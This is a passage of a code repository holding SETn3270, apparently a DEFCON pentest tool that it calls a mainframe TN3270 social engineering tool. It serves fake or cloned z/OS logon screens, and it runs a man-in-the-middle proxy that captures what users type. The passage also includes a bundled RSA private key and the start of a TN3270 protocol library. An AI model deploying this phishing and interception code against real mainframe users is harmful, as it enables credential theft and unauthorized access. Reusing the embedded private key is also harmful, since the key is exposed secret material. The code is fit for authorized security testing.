%r" , buff_addr) 152 | buff[buff_addr] = data[i] 153 | buff_addr = tn3270.INC_BUF_ADDR(buff_addr) 154 | i += 1 155 | j = 1 156 | pbuff = '' 157 | for line in buff: 158 | if line == "\00": 159 | pbuff += " " 160 | else: 161 | pbuff += line.decode('EBCDIC-CP-BE').encode('utf-8') 162 | j += 1 163 | 164 | tn3270.msg("Recieved %r items", len(pbuff.split())) 165 | 166 | j = 1 167 | for item in pbuff.split(): 168 | print"[+] Line "+ str(j) +":", item 169 | j += 1 170 | else: 171 | pbuff = '' 172 | 173 | return pbuff 174 | 175 | def logo(): 176 | print c.DARKBLUE 177 | logo = [] 178 | logo.append(""" 179 | .::::::. .,:::::: ::::::::::::: :: ::. :::. :: .::. .:::. ...::::: 180 | ;;;` ` ;;;;'''' ;;;;;;;;'''' ,' `;;;;, `;;; ,' ;'`';;, ,;'``;. '''``;;',;;, 181 | '[==/[[[[, [[cccc [[ [[[[[. '[[ .n[[ '' ,[[' .[' ,[' [n 182 | ''' $ $$""'' $$ $$$ "Y$c$$ ``"$$$. .c$$P' ,$$' $$ $$ 183 | 88b dP 888oo,__ 88, 888 Y88 ,,o888"d88 _,oo, 888 Y8, ,8" 184 | "YMmMY" "''YUMMM MMM MMM YM YMMP" MMMUP*"^^ MMM "YmmP """) 185 | logo.append(""" 186 | .sSSSSs. .sSSSSs. .sSSSSSSSSs. .sSSSSSSs. .sSSSSs. SSSSSSSSSs. .sSSSSs. 187 | SSSSSSSSSs. SSSSSSSSSs. .sSSSSSSSSSSSSSs. .sSSSs. SSSSS `SSSS SSSSs `SSSS SSSs. SSSSSSSSSSS SSSSSSSSSs. 188 | S SSS SSSS' S SSS SSSS' SSSSS S SSS SSSSS S SSS SS SSSSS S SSS SSSSS S SSS S SSS SSSSS 189 | S SS S SS SSSSS S SS SSSSS S SS `sSSSSS .sS S SS .sSSSsSSSS' S SS S SS SSSSS 190 | `SSSSsSSSa. S..SSsss `:S:' S..SS `:S:' S..SS SSSSS SSSSsS..SS S..SS S..SS S..SS\SSSSS 191 | .sSSS SSSSS S:::SSSS S:::S S:::S SSSSS `:; S:::S S:::S SSSs. S:::S S:::S SSSSS 192 | S;;;S SSSSS S;;;S S;;;S S;;;S SSSSS S;;;S S;;;S SSSSS S;;;S S;;;S SSSSS 193 | S:::S SSSSS S:::S SSSSS S:::S S:::S SSSSS .SSSS S:::S S:::S SSSSS S:::S S:::S SSSSS 194 | SSSSSsSSSSS SSSSSsSS;:' SSSSS SSSSS SSSSS `:;SSsSSSSS SSSSSsSSSSS SSSSS `:;SSsSS;:'""") 195 | logo.append(""" 196 | ## # ## 197 | ## ## ## 198 | #### ######## ######## ## ### ## ## ####### ####### ####### ####### 199 | ### ### #### ## ## ## ## ## ## 200 | ### ####### ### ####### ##### ####### ## ## ## 201 | ### ### ### ### ### ## ### ## ## ## 202 | ##### ####### ### ### ## ####### ####### ## ####### 203 | # ## """) 204 | logo.append(""" 205 | ______ _______ _______ _ _ ______ ______ _______ _____ 206 | / _____)(_______)(_______)( ) ( )(_____ \ (_____ \ (_______) (_____) 207 | ( (____ _____ _ |/ ____ |/ _____) ) ____) ) _ _ __ _ 208 | \____ \ | ___) | | | _ \ (_____ ( / ____/ / ) | |/ /| | 209 | _____) )| |_____ | | | | | | _____) )| (_____ / / | /_| | 210 | (______/ |_______) |_| |_| |_| (______/ |_______) (_/ \_____/ """) 211 | logo.append(""" 212 | MP''''''`MM MM''''''''`M M''''''''M d8 d8 d8888b. d8888b. d88888P a8888a 213 | M mmmmm..M MM mmmmmmmM Mmmm mmmM 88 88 `88 `88 d8' d8' ..8b 214 | M. `YM M` MMMM MMMM MMMM .P 88d888b. .P aaad8' .aaadP' d8' 88 .P 88 215 | MMMMMMM. M MM MMMMMMMM MMMM MMMM 88' `88 `88 88' d8' 88 d' 88 216 | M. .MMM' M MM MMMMMMMM MMMM MMMM 88 88 .88 88. d8' Y8'' .8P 217 | Mb. .dM MM .M MMMM MMMM dP dP d88888P Y88888P d8' Y8888P 218 | MMMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMM """) 219 | logo.append(""" 220 | _______ _______ _______ __ __ _______ _______ _______ _______ 221 | | _ | | _ | | | | | .-----. | | | _ | | | | _ | | _ | 222 | | 1___| |. 1___| |.| | | |_| | | |_| |___| | |___| | |___| | |. | | 223 | |____ | |. __)_ `-|. |-' |__|__| _(__ | / ___/ / / |. | | 224 | |: 1 | |: 1 | |: | |: 1 | |: 1 \ | | |: 1 | 225 | |::.. . | |::.. . | |::.| |::.. . | |::.. . | | | |::.. . | 226 | `-------' `-------' `---' `-------' `-------' `---' `-------'""") 227 | print logo[random.randrange(0, len(logo) - 1)], "\n" 228 | print c.ENDC 229 | 230 | ###### Special, just for DEFCON 231 | def printer(s): 232 | for c in s: 233 | sys.stdout.write( c ) 234 | sys.stdout.flush() 235 | time.sleep(random.uniform(0, 0.15)) 236 | print "\n", 237 | 238 | def printv(str): 239 | """ Prints str if we're in verbose mode """ 240 | if args.verbose: 241 | print str 242 | 243 | def get_all(sox): 244 | #terrible, I know 245 | data = '' 246 | while True: 247 | d = recv_tn(sox,1) 248 | if not d: 249 | break 250 | else: 251 | data += d 252 | return data 253 | 254 | 255 | def proxy_handler(clientsock, target, port, tn3270, delay=0.001): 256 | # passthrough proxy 257 | timeout = 3 258 | if args.verbose: 259 | print "[+] Proxy Started. Sending all packets to", target 260 | print "[+] Connecting to", target, ":", port 261 | try: 262 | print "[+] Trying SSL" 263 | non_ssl = socket(AF_INET, SOCK_STREAM) 264 | ssl_sock = ssl.wrap_socket(sock=non_ssl,cert_reqs=ssl.CERT_NONE) 265 | #ssl_sock.settimeout(timeout) 266 | ssl_sock.connect((target,port)) 267 | serversock = ssl_sock 268 | except ssl.SSLError, e: 269 | ssl_sock.close() 270 | try: 271 | print "[+] Using Plaintext" 272 | sock = socket(AF_INET, SOCK_STREAM) 273 | sock.settimeout(timeout) 274 | sock.connect((target,port)) 275 | serversock = sock 276 | except Exception, e: 277 | print '[!] Socket Error:', e 278 | return False 279 | except Exception, e: 280 | print '[!] Error:', e 281 | return False 282 | print "[+] Connection complete. MitM Ahoy!" 283 | #serversock = socket(AF_INET, SOCK_STREAM) 284 | #serversock.connect((target, port)) 285 | #serversock.settimeout(5) 286 | channel = {} 287 | connections = [] 288 | connections.append(clientsock) 289 | connections.append(serversock) 290 | channel[clientsock] = serversock 291 | channel[serversock] = clientsock 292 | while 1: 293 | ssl_you_bastard = False 294 | time.sleep(delay) 295 | inputready, outputready, exceptready = select.select(connections, [], [], 5) 296 | for s in inputready: 297 | s.settimeout(10) 298 | #s.setblocking(0) 299 | try: 300 | data = s.recv(1920) 301 | except SSL.WantReadError: 302 | ssl_you_bastard = True 303 | data = '' 304 | except SSL.ZeroReturnError: 305 | ssl_you_bastard = False 306 | data = '' 307 | if len(data) == 0 and not ssl_you_bastard: 308 | print '[+] Disconnected', s.getpeername() 309 | connections.remove(s) 310 | connections.remove(channel[s]) 311 | out = channel[s] 312 | # close the connection with client 313 | channel[out].close() # equivalent to do s.close() 314 | # close the connection with remote server 315 | channel[s].close() 316 | # delete both objects from channel dict 317 | del channel[out] 318 | del channel[s] 319 | break 320 | else: 321 | buff = list("\0" * 1920) 322 | pbuff = get_data(tn3270, data, buff) 323 | channel[s].sendall(data) 324 | 325 | 326 | 327 | 328 | 329 | def handler(clientsock,addr,tn3270, screen, cmd_tracker, commands=False): 330 | #Begin tn3270 negotiation: 331 | send_tn(clientsock, tn3270lib.IAC + tn3270lib.DO + tn3270lib.options['TN3270']) 332 | tn3270.msg("Sending: IAC DO TN3270") 333 | data = recv_tn(clientsock) 334 | if data == tn3270lib.IAC + tn3270lib.WILL + tn3270lib.options['TN3270']: 335 | tn3270.msg("Received Will TN3270, sending IAC DONT TN3270") 336 | send_tn(clientsock, tn3270lib.IAC + tn3270lib.DONT + tn3270lib.options['TN3270']) 337 | data = recv_tn(clientsock) 338 | 339 | if data != tn3270lib.IAC + tn3270lib.WONT + tn3270lib.options['TN3270']: 340 | #We don't support 3270E and your client is messed up, exiting 341 | tn3270.msg("Didn't negotiate tn3270 telnet options, quitting!") 342 | clientsock.close() 343 | return 344 | 345 | send_tn(clientsock, tn3270lib.IAC + tn3270lib.DO + tn3270lib.options['TTYPE']) 346 | tn3270.msg("Sending: IAC DO TTYPE") 347 | data = recv_tn(clientsock) 348 | send_tn(clientsock, tn3270lib.IAC + 349 | tn3270lib.SB + 350 | tn3270lib.options['TTYPE'] + 351 | tn3270lib.SEND + 352 | tn3270lib.IAC + 353 | tn3270lib.SE ) 354 | data = recv_tn(clientsock) 355 | tn3270.msg("Sending: IAC DO EOR") 356 | send_tn(clientsock, tn3270lib.IAC + tn3270lib.DO + tn3270lib.options['EOR']) 357 | data = recv_tn(clientsock) 358 | tn3270.msg("Sending: IAC WILL EOR; IAC DO BINARY; IAC WILL BINARY") 359 | send_tn(clientsock, tn3270lib.IAC + 360 | tn3270lib.WILL + 361 | tn3270lib.options['EOR'] + 362 | tn3270lib.IAC + 363 | tn3270lib.DO + 364 | tn3270lib.options['BINARY'] + 365 | tn3270lib.IAC + 366 | tn3270lib.WILL + 367 | tn3270lib.options['BINARY'] ) 368 | 369 | 370 | #clientsock.settimeout(1) 371 | #clientsock.setblocking(0) 372 | data = get_all(clientsock) 373 | #while True: 374 | #try: 375 | # data = recv_tn(clientsock,1) 376 | # if not data: 377 | # break 378 | 379 | buff = list("\0" * 1920) 380 | buff_addr = 0 381 | current_screen = 0 382 | timing = 0 383 | 384 | 385 | 386 | send_tn(clientsock, screen[current_screen] + tn3270lib.IAC + tn3270lib.TN_EOR) 387 | # First we wait: 388 | data = recv_tn(clientsock) 389 | data += get_all(clientsock) 390 | not_done = True 391 | while not_done: 392 | 393 | if data == '': 394 | break 395 | 396 | current_screen += 1 397 | 398 | if commands is not False: 399 | print commands 400 | if timing >= len(commands): 401 | commands = False 402 | continue 403 | for current_command in commands: 404 | timing += 1 405 | buff = list("\0" * 1920) 406 | pbuff = get_data(tn3270, data, buff) 407 | try: 408 | command_received = pbuff.split()[0] 409 | except (IndexError, AttributeError), e: 410 | command_received = "AID" 411 | 412 | items_to_next_input = cmd_tracker[current_command] 413 | 414 | if command_received == current_command or current_command == "*": 415 | if args.verbose: 416 | print "[+] Current Command:", current_command,"Command Recieved:" , command_received 417 | print "[+] Current Screen:", current_screen, "items to next input:", items_to_next_input 418 | print "[+] Command Tracker:", cmd_tracker 419 | while current_screen < items_to_next_input: 420 | send_tn(clientsock, screen[current_screen] + tn3270lib.IAC + tn3270lib.TN_EOR) 421 | current_screen += 1 422 | #clear the input buffer 423 | data = get_all(clientsock) 424 | 425 | send_tn(clientsock, screen[current_screen] + tn3270lib.IAC + tn3270lib.TN_EOR) 426 | data = get_all(clientsock) 427 | else: 428 | print "[+] Displaying Dummy Screen" 429 | send_tn(clientsock, fake_goodbye("ERROR: Feature currently not enalbled.") + tn3270lib.IAC + tn3270lib.TN_EOR) 430 | print "[+] Sleeping 5" 431 | time.sleep(5) 432 | not_done = False 433 | break 434 | else: 435 | #if not_done: 436 | buff = list("\0" * 1920) 437 | pbuff = get_data(tn3270, data, buff) 438 | #print tn3270.hexdump(pbuff) 439 | print "[+] Displaying Dummy Screen" 440 | send_tn(clientsock, fake_goodbye(args.goodbye) + tn3270lib.IAC + tn3270lib.TN_EOR) 441 | print "[+] Sleeping 5" 442 | time.sleep(5) 443 | break 444 | 445 | #data = recv_tn(clientsock) 446 | 447 | clientsock.close() 448 | print "[+] Connection Closed", addr 449 | 450 | #tn3270.msg("%r Closed Connection", addr) #log on console 451 | 452 | 453 | 454 | #start argument parser 455 | parser = argparse.ArgumentParser(description='SET\'n\'3270: The Mainframe TN3270 Social Engineering Tool.\n\n This tool can be used in three ways:\n 1) Create a fake TSO logon screen as a honey pot. \n2) Mirror a live mainframe, even taking commands you expect users to enter.\n3) MITM a connection and output the input to the console.') 456 | parser.add_argument('target',help='The z/OS Mainframe TN3270 Server IP or Hostname', nargs='?') 457 | parser.add_argument('-p','--port',help='The TN3270 server port. Default is 23', dest='port', default=23, type=int) 458 | parser.add_argument('--passthru', help='Operates as a proxy', dest='proxy', action='store_true',default=False) 459 | parser.add_argument('-c','--commands',help='Typed commands you want to send/expect to receive. Multiple commands can be seperated by a semi-colon \';\'. e.g: ./SETn3270.py target.com --commands "logon;netview;tso"', dest='commands', default=False) 460 | parser.add_argument('-g','--goodbye',help='Message disaplayed on targets screen when at the end', dest='goodbye', default="System Shutdown. Please connect to production LPAR.") 461 | # TODO: Add custom screens. For now just replace the hex in the fake_tso() function 462 | #parser.add_argument('-s', '--screen', help='A file containing a screen you want to display. Format must be single line all hex chats, see tso.txt for an example.',dest='screen', default=False) 463 | parser.add_argument('--ssl',help='Force SSL connections from the client.',default=False,dest='ssl',action='store_true') 464 | parser.add_argument('-v','--verbose',help='Be verbose',default=False,dest='verbose',action='store_true') 465 | parser.add_argument('-d','--debug',help='Show debug information. Displays A LOT of information',default=False,dest='debug',action='store_true') 466 | parser.add_argument('--altport',help='Define an alternate port to accept connections to. Note: Most tn3270 clients don\'t make it easy to change ports so don\'t expect your targets to do so',dest='altport',default=False, type=int) 467 | parser.add_argument('--nossl',help='Disable server side SSL. Note: Most clients will fail if you do not have SSL enabled when they expect SSL connections.',default=False,dest='nossl',action='store_true' ) 468 | parser.add_argument('--defcon',help='Disable Warning',default=False,dest='defcon',action='store_true') #LOL! 469 | args = parser.parse_args() 470 | 471 | # --------------------------------- 472 | # | 473 | # ----------- | 474 | # | DEFCON | | 475 | # SoF ------> | Secret | <--- 476 | # | Sauce | 477 | # ----------- 478 | 479 | if os.geteuid() == 0 and not args.defcon: 480 | print c.YELLOW + "[!!] DEFCON 23:" 481 | printer("[!!] OMG!! Did you just run a program, from the DEFCON CD\n[!!] WITH ROOT PRIVELGES?") 482 | print c.RED, 483 | printer("[!!] What were you thinking?\n[!!] Begining Hard Drive Encryption NOW!") 484 | printer(" ---------------------------------") 485 | time.sleep(1) 486 | print c.GREEN, 487 | printer("[!!] Loooool. Gotchya! Just be more careful in the future!") 488 | printer("(disable this warning next time with --defcon)") 489 | time.sleep(2) 490 | print c.ENDC 491 | 492 | 493 | logo() 494 | 495 | commands = False 496 | target_ssl = False 497 | cmd_tracker = {} 498 | 499 | print '[+] Starting SET\'n\'3270' 500 | 501 | # First we need an object: 502 | tn = tn3270lib.TN3270() 503 | 504 | if args.debug: 505 | tn.set_debuglevel(1) 506 | 507 | if args.proxy: 508 | # setup the proxy aspect 509 | if args.target is None: 510 | print c.RED + "[+] Passthrough mode selected but no target entered. Exiting!" + c.ENDC 511 | sys.exit(-1) 512 | 513 | print "[+] Starting passthrough mode on port", 514 | if not args.altport: 515 | print args.port 516 | else: 517 | print args.altport 518 | 519 | if args.ssl and openssl_available: 520 | print "[+] Creating SSL Socket" 521 | tnssl = SSL.Context(SSL.SSLv23_METHOD) 522 | tnssl.use_privatekey_file('setn3270_key') 523 | tnssl.use_certificate_file('setn3270_cert') 524 | tnsock = socket(AF_INET, SOCK_STREAM) 525 | tnsock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 526 | tnsock = SSL.Connection(tnssl, tnsock) 527 | else: 528 | print "[+] Creating Plaintext Socket" 529 | tnsock = socket(AF_INET, SOCK_STREAM) 530 | tnsock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 531 | print "[+] Creating SSL Passthrough" 532 | #print "[+] Starting passthrough mode on port", args.port 533 | if not args.altport: 534 | ADDR = ('', args.port) 535 | else: 536 | ADDR = ('', args.altport) 537 | #tnsock.settimeout(5) 538 | tnsock.bind(ADDR) 539 | tnsock.listen(5) 540 | 541 | print "[+] Waiting for Incomming Connections on port", args.port 542 | while 1: 543 | clientsock, addr = tnsock.accept() 544 | print '[+] Connection Recieved from:', addr 545 | thread.start_new_thread(proxy_handler, (clientsock, args.target, args.port, tn )) 546 | else: 547 | # Now we either strip a target mainframe 548 | # or we display a default TSO logon screen 549 | if args.target is not None: 550 | print "[+] Connecting to ", args.target, ":", args.port 551 | if not tn.initiate(args.target,args.port): 552 | print "[!] Could not connect to", args.target, ":", args.port 553 | sys.exit(-1) 554 | if args.verbose: 555 | print "[+] Current screen is:" 556 | tn.print_screen() 557 | if args.commands is not False: 558 | commands = args.commands.split(';') 559 | print "[+] Sending Commands:", 560 | print commands 561 | for command in commands: 562 | if args.verbose: 563 | print "[+] Sending Command:", command 564 | if command == "*": 565 | tn.send_cursor('fake') 566 | else: 567 | tn.send_cursor(command) 568 | 569 | tn.get_all_data() 570 | cmd_tracker[command] = len(tn.raw_screen_buffer()) - 1 571 | if args.verbose: 572 | print "[+] Current screen is:" 573 | tn.print_screen() 574 | 575 | print "[+] Mainframe Screen Copy Complete" 576 | if args.verbose: 577 | print "[+] Closing Connection to Mainframe" 578 | tn.disconnect() 579 | screen = tn.raw_screen_buffer() 580 | target_ssl = tn.is_ssl() 581 | else: 582 | print "[+] No target specified. Creating fake TSO screen on port", 583 | if not args.altport: 584 | print args.port 585 | else: 586 | print args.altport 587 | screen = [] 588 | screen.insert(0,fake_tso()) 589 | 590 | if not args.altport: 591 | ADDR = ('', args.port) 592 | else: 593 | ADDR = ('', args.altport) 594 | 595 | if (target_ssl or args.ssl) and openssl_available: 596 | #do ssl stuff 597 | print "[+] Creating SSL Socket" 598 | tnssl = SSL.Context(SSL.SSLv23_METHOD) 599 | tnssl.use_privatekey_file('setn3270_key') 600 | tnssl.use_certificate_file('setn3270_cert') 601 | tnsock = socket(AF_INET, SOCK_STREAM) 602 | tnsock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 603 | tnsock = SSL.Connection(tnssl, tnsock) 604 | #tnsock.setblocking() 605 | else: 606 | print "[+] Creating Plaintext Socket" 607 | tnsock = socket(AF_INET, SOCK_STREAM) 608 | tnsock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 609 | 610 | tnsock.bind(ADDR) 611 | tnsock.listen(5) 612 | 613 | print "[+] Waiting for Incomming Connections on port", 614 | if not args.altport: 615 | print args.port 616 | else: 617 | print args.altport 618 | while 1: 619 | clientsock, addr = tnsock.accept() 620 | print '[+] Connection Recieved from:', addr 621 | thread.start_new_thread(handler, (clientsock, addr, tn, screen, cmd_tracker, commands )) 622 | 623 | 624 | 625 | 626 | 627 | 628 | 629 | -------------------------------------------------------------------------------- /Network Tools/SETn3270/setn3270_cert: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIEFjCCA3+gAwIBAgIJANRVVIhssW7hMA0GCSqGSIb3DQEBBQUAMIG5MQswCQYD 3 | VQQGEwJVUzERMA8GA1UECBMIVmlyZ2luaWExDzANBgNVBAcTBk1jTGVhbjEsMCoG 4 | A1UEChMjU3VwZXIgU2VjcmV0IE1haW5mcmFtZSBIYWNrZXJzIEluYy4xEzARBgNV 5 | BAsTClRvcCBTZWNyZXQxGzAZBgNVBAMTElNvbGRpZXIgb2YgRm9ydHJhbjEmMCQG 6 | CSqGSIb3DQEJARYXbWFpbmZyYW1lZDc2N0BnbWFpbC5jb20wHhcNMTUwNjI4MDA0 7 | MTE4WhcNMTYwNjI3MDA0MTE4WjCBuTELMAkGA1UEBhMCVVMxETAPBgNVBAgTCFZp 8 | cmdpbmlhMQ8wDQYDVQQHEwZNY0xlYW4xLDAqBgNVBAoTI1N1cGVyIFNlY3JldCBN 9 | YWluZnJhbWUgSGFja2VycyBJbmMuMRMwEQYDVQQLEwpUb3AgU2VjcmV0MRswGQYD 10 | VQQDExJTb2xkaWVyIG9mIEZvcnRyYW4xJjAkBgkqhkiG9w0BCQEWF21haW5mcmFt 11 | ZWQ3NjdAZ21haWwuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDiOXRA 12 | 5OCYUV4r7MNua2NklbQ/qvMO4bcscmASb4GWv6BF/F6MIjoGQSMxRGG7uqA1O2+X 13 | O06i8Bi5hTZxBuM1jO6L+i4G3zRQASLrCAKmA4zN31ofceI6ERppGV0SXu0crjln 14 | Mz+W6o6NXnbj7XfvlMm7ybCG/GkZq6U0U6TdnQIDAQABo4IBIjCCAR4wHQYDVR0O 15 | BBYEFMQLHARBa8vjdc+QnSn9JIpnsWEmMIHuBgNVHSMEgeYwgeOAFMQLHARBa8vj 16 | dc+QnSn9JIpnsWEmoYG/pIG8MIG5MQswCQYDVQQGEwJVUzERMA8GA1UECBMIVmly 17 | Z2luaWExDzANBgNVBAcTBk1jTGVhbjEsMCoGA1UEChMjU3VwZXIgU2VjcmV0IE1h 18 | aW5mcmFtZSBIYWNrZXJzIEluYy4xEzARBgNVBAsTClRvcCBTZWNyZXQxGzAZBgNV 19 | BAMTElNvbGRpZXIgb2YgRm9ydHJhbjEmMCQGCSqGSIb3DQEJARYXbWFpbmZyYW1l 20 | ZDc2N0BnbWFpbC5jb22CCQDUVVSIbLFu4TAMBgNVHRMEBTADAQH/MA0GCSqGSIb3 21 | DQEBBQUAA4GBAFSuPbCNEBFMYc6TxJl/ysEsAz4R68o3WvyZ2HoXKxZlfWWSOtDY 22 | NlvdBoJ8cDpPl9hHIWumhBndH+8bicjcr5j7kg59x0GEuOdfhKqgzCsBvX5+0D4b 23 | bw1DqIyTm/+/kPuWT2TQOzWPTa0xOi8ME/REyZTdnCr4+aQ9GwcN9S8j 24 | -----END CERTIFICATE----- 25 | -------------------------------------------------------------------------------- /Network Tools/SETn3270/setn3270_key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICXQIBAAKBgQDiOXRA5OCYUV4r7MNua2NklbQ/qvMO4bcscmASb4GWv6BF/F6M 3 | IjoGQSMxRGG7uqA1O2+XO06i8Bi5hTZxBuM1jO6L+i4G3zRQASLrCAKmA4zN31of 4 | ceI6ERppGV0SXu0crjlnMz+W6o6NXnbj7XfvlMm7ybCG/GkZq6U0U6TdnQIDAQAB 5 | AoGAIt4CGgJsz20zG4gJcxpgHl+ogWuivLdzWQlj31OKYKa2WDMWi3i3AsHFX9GP 6 | UrTn/mxjvaZpb1mcJfPvOSp7mDoqrgDO/JT0i9yRW3MtFd1VjLDy3BMXWhN7aWSt 7 | mh1YeBd3KY6wr65VqVbgcl7gx1LIkgJOmR6GJtnnSY5LmC0CQQDw2Jj+OKENM6+d 8 | Z2Z47uOzM2aOWC4sAr/CL8l7b9PGm/sYfCftXtUuZxCLBUwz+u+N1ZMMFi3ZR0QV 9 | 01++jekPAkEA8HVW+reMZTj/C+9sAyojBBqZtowRGzVJ1FCpZb05C8T+NNE3uWPN 10 | I6aLo3kQGbc8Tm01HJOyf0azSxoZlFNWkwJBAJHSks9ZeimEIdAryt9txG+7r1yA 11 | B3SeNXxdcqBKFO8rgdxRT9toj6qIvHtvubO/O0ulBGNNCnWDsLWGRXIaegECQBHF 12 | 2oP1hR8GM3PCYo1pU+U9whbIC4ujSK20uJCYh9ri2Jc2z5OYWNVFvhR7IkGEVaTG 13 | VaKjGBJoO2BVsYZREpkCQQC55Py62VH8KDLwXAWMQoX7FdYB8L+wGH27wKWdXAOj 14 | hHx2OSO4oVy+nAUyMWnMnMqxyWIz7qEgy4EXl0O/a/dQ 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /Network Tools/SETn3270/tn3270lib.py: -------------------------------------------------------------------------------- 1 | # TN3270 Library based heavily on x3270 and python telnet lib 2 | # Created by Phil "Soldier of Fortran" Young 3 | # 4 | # To use this library create a tn3270 object 5 | # >>> import tn3270lib 6 | # >>> tn3270 = tn3270lib.TN3270() 7 | # To connect to a host use the initiate function. 8 | # This library will attempt SSL first 9 | # then connect without ssl if that fails. 10 | # >>> host = "10.10.0.10" 11 | # >>> port = 23 12 | # >>> tn3270.initiate(host, port) 13 | # True 14 | # >>> data = tn3270.get_screen() 15 | # >>> print data 16 | # z/OS V1R13 PUT Level 1209 IP Address = 10.10.0.13 17 | # VTAM Terminal = 18 | # 19 | # Application Developer System 20 | # 21 | # // OOOOOOO SSSSS 22 | # // OO OO SS 23 | # zzzzzz // OO OO SS 24 | # zz // OO OO SSSS 25 | # zz // OO OO SS 26 | # zz // OO OO SS 27 | # zzzzzz // OOOOOOO SSSS 28 | # 29 | # 30 | # System Customization - ADCD.Z113H.* 31 | # 32 | # 33 | # 34 | # 35 | # ===> Enter "LOGON" followed by the TSO userid. Example "LOGON IBMUSER" or 36 | # ===> Enter L followed by the APPLID 37 | # ===> Examples: "L TSO", "L CICSTS41", "L CICSTS42", "L IMS11", "L IMS12" 38 | # >>> tn3270.disconnect() 39 | # 40 | # A check function has also been created to check if the server accepts tn3270 connections. 41 | # Returns True if the socket supports tn3270, False if not. 42 | # 43 | # >>> tn3270.check_tn3270(host, port) 44 | # True 45 | # 46 | ######### 47 | # 48 | # This program is free software: you can redistribute it and/or modify 49 | # it under the terms of the GNU General Public License as published by 50 | # the Free Software Foundation, either version 3 of the License, or 51 | # (at your option) any later version. 52 | # 53 | # This program is distributed in the hope that it will be useful, 54 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 55 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 56 | # GNU General Public License for more details. 57 | # 58 | # You should have received a copy of the GNU General Public License 59 | # along with this program. If not, see . 60 | # 61 | ######### 62 | 63 | import errno 64 | import sys 65 | import socket 66 | import ssl 67 | import select 68 | import struct 69 | import binascii 70 | import math 71 | 72 | 73 | # Tunable parameters 74 | DEBUGLEVEL = 0 75 | 76 | # Telnet protocol commands 77 | SE = chr(240) #End of subnegotiation parameters 78 | SB = chr(250) #Sub-option to follow 79 | WILL = chr(251) #Will; request or confirm option begin 80 | WONT = chr(252) #Wont; deny option request 81 | DO = chr(253) #Do = Request or confirm remote option 82 | DONT = chr(254) #Don't = Demand or confirm option halt 83 | IAC = chr(255) #Interpret as Command 84 | SEND = chr(001) #Sub-process negotiation SEND command 85 | IS = chr(000) #Sub-process negotiation IS command 86 | 87 | 88 | #TN3270 Telnet Commands 89 | TN_ASSOCIATE = chr(0) 90 | TN_CONNECT = chr(1) 91 | TN_DEVICETYPE = chr(2) 92 | TN_FUNCTIONS = chr(3) 93 | TN_IS = chr(4) 94 | TN_REASON = chr(5) 95 | TN_REJECT = chr(6) 96 | TN_REQUEST = chr(7) 97 | TN_RESPONSES = chr(2) 98 | TN_SEND = chr(8) 99 | TN_EOR = chr(239) #End of Record 100 | 101 | #Supported Telnet Options 102 | options = { 103 | 'BINARY' : chr(0), 104 | 'EOR' : chr(25), 105 | 'TTYPE' : chr(24), 106 | 'TN3270' : chr(40) 107 | } 108 | 109 | #TN3270 Stream Commands: TCPIP 110 | EAU = chr(15) 111 | EW = chr(5) 112 | EWA = chr(13) 113 | RB = chr(2) 114 | RM = chr(6) 115 | RMA = '' 116 | W = chr(1) 117 | WSF = chr(17) 118 | NOP = chr(3) 119 | SNS = chr(4) 120 | SNSID = chr(228) 121 | #TN3270 Stream Commands: SNA 122 | SNA_RMA = chr(110) 123 | SNA_EAU = chr(111) 124 | SNA_EWA = chr(126) 125 | SNA_W = chr(241) 126 | SNA_RB = chr(242) 127 | SNA_WSF = chr(243) 128 | SNA_EW = chr(245) 129 | SNA_NOP = chr(003) 130 | SNA_RM = chr(246) 131 | 132 | 133 | #TN3270 Stream Orders 134 | SF = chr(29) 135 | SFE = chr(41) 136 | SBA = chr(17) 137 | SA = chr(40) 138 | MF = chr(44) 139 | IC = chr(19) 140 | PT = chr(5) 141 | RA = chr(60) 142 | EUA = chr(18) 143 | GE = chr(8) 144 | 145 | 146 | #TN3270 Format Control Orders 147 | NUL = chr(0) 148 | SUB = chr(63) 149 | DUP = chr(28) 150 | FM = chr(30) 151 | FF = chr(12) 152 | CR = chr(13) 153 | NL = chr(21) 154 | EM = chr(25) 155 | EO = chr(255) 156 | 157 | #TN3270 Attention Identification (AIDS) 158 | ##### 159 | # SoF ## Left this as hex because i coulnd't 160 | # be bothered to convert to decimal 161 | ##### 162 | NO = chr(0x60) #no aid 163 | QREPLY = chr(0x61) #reply 164 | ENTER = chr(0x7d) #enter 165 | PF1 = chr(0xf1) 166 | PF2 = chr(0xf2) 167 | PF3 = chr(0xf3) 168 | PF4 = chr(0xf4) 169 | PF5 = chr(0xf5) 170 | PF6 = chr(0xf6) 171 | PF7 = chr(0xf7) 172 | PF8 = chr(0xf8) 173 | PF9 = chr(0xf9) 174 | PF10 = chr(0x7a) 175 | PF11 = chr(0x7b) 176 | PF12 = chr(0x7c) 177 | PF13 = chr(0xc1) 178 | PF14 = chr(0xc2) 179 | PF15 = chr(0xc3) 180 | PF16 = chr(0xc4) 181 | PF17 = chr(0xc5) 182 | PF18 = chr(0xc6) 183 | PF19 = chr(0xc7) 184 | PF20 = chr(0xc8) 185 | PF21 = chr(0xc9) 186 | PF22 = chr(0x4a) 187 | PF23 = chr(0x4b) 188 | PF24 = chr(0x4c) 189 | OICR = chr(0xe6) 190 | MSR_MHS = chr(0xe7) 191 | SELECT = chr(0x7e) 192 | PA1 = chr(0x6c) 193 | PA2 = chr(0x6e) 194 | PA3 = chr(0x6b) 195 | CLEAR = chr(0x6d) 196 | SYSREQ = chr(0xf0) 197 | 198 | #TN3270 Code table to transalte buffer addresses 199 | 200 | code_table=[0x40, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 201 | 0xC8, 0xC9, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 202 | 0x50, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 203 | 0xD8, 0xD9, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 204 | 0x60, 0x61, 0xE2, 